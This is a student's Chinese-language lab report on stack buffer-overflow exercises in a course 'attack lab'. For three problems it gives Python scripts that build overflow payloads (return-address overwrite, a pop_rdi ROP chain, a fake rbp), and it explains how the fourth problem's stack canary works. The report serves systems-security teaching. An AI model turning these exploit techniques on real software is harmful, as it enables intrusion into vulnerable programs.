栈溢出攻击实验

高虹凯 2024201601

题目解决思路

Problem 1

- **分析**：main 函数是一个读取文件文本内容的函数，把文本内容字符串传入 func 函数。func 函数中存在 strcpy 调用，该函数不会检查缓冲区边界，目标地址为 rbp-8, 因此可以让输入内容超出 8 个字节来覆盖返回地址。可以用16个'A'覆盖缓冲区和rbp，从第17个字节开始，以小端序存入目标函数 func1 的地址，就可以跳转到 func1 函数。
- **解决方案**：

```
padding = b"A" * 16
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"  # 小端地址
payload = padding+ func1_address
# Write the payload to a file
with open("ans1.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans1.txt")
```

- **结果**：

```
(base) mortis@LAPTOP-HSNBEK0A:~/attack-lab-mortis-wakaba$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
```

Problem 2

- **分析**：这个问题与问题1的区别是，func2中只有在 rdi = 0x3f8 时才会输出正确结果，因此我们要想办法对 rdi 赋值。汇编代码中给出了一个函数 pop_rdi，会把栈顶的值压入 rdi。
  因此我们可以先用8个'A'填充缓冲区，再把 rdi 需要的值放到 rbp 处，再跳转到 pop_rdi 函数处，它会将 rbp 中的值压栈并弹入 rdi，从而完成传参，跳到 func2 函数后就可以通过检查了。
- **解决方案**：

```
padding = b"A" * 8
pop_rdi_address = b"\xbb\x12\x40\x00\x00\x00\x00\x00"  # 小端地址
r = b"\xf8\x03\x00\x00\x00\x00\x00\x00"
func2_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding  + r + pop_rdi_address + func2_address
# Write the payload to a file
with open("ans2.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans2.txt")
```

- **结果**:

```
(base) mortis@LAPTOP-HSNBEK0A:~/attack-lab-mortis-wakaba$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

Problem 3

- **分析**：问题3与问题2的区别是，没有了 pop_rdi 函数帮助给 rdi 赋值。因此，可以修改目标地址，让程序跳转到判断 rdi 是否等于 114 之后的语句，避免比较。
  由于这次是从 rbp-0x20 开始，故先用'A'填充前32个字节；
  为了保证 rbp 位置的新地址可写，在汇编代码里可看到把栈指针放到了 403510 <saved_rsp> 中，
  为了不靠近边缘情况，选择 0x403600 在原有 rbp 上；
  最后把 0x40122b 作为要跳转的目标地址，规避了要比较 rdi 的情况。
- **解决方案**:

```
padding = b"A" * 32
func1_address = b"\x2b\x12\x40\x00\x00\x00\x00\x00"  # 小端地址
fake_rbp = b'\x00\x36\x40\x00\x00\x00\x00\x00'
payload = padding + fake_rbp + func1_address
# Write the payload to a file
with open("ans3.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans3.txt")
```

- **结果**:

```
(base) mortis@LAPTOP-HSNBEK0A:~/attack-lab-mortis-wakaba$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4

- **分析**：canary的保护机制：
  读取段寄存器 fs 的一个数据保存到 rbp-8

```
136c: 64 48 8b 04 25 28 00  mov    %fs:0x28,%rax
1373: 00 00
1375: 48 89 45 f8           mov    %rax,-0x8(%rbp)
```

  函数即将返回之前，检查栈上的那个数据是否被修改，若被修改则调用报错函数。

```
140a: 48 8b 45 f8           mov    -0x8(%rbp),%rax
140e: 64 48 2b 04 25 28 00  sub    %fs:0x28,%rax
1415: 00 00
1417: 74 05                 je     141e <func+0xc1>;
1419: e8 b2 fc ff ff        call   10d0 <__stack_chk_fail@plt>
```

- **解决方案**：函数循环比较输入值是否是最大的无符号数，因此最后输入 4294967295 即可。
- **结果**：

```
(base) mortis@LAPTOP-HSNBEK0A:~/attack-lab-mortis-wakaba$ ./problem4 ans1.txt
hi please tell me what is your name?
1
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
4294967295
your money is 4294967295
great!I will give you great scores
```

思考与总结

实验加深了对 rsp,rbp 在函数中作用的理解，展示了栈金丝雀的作用。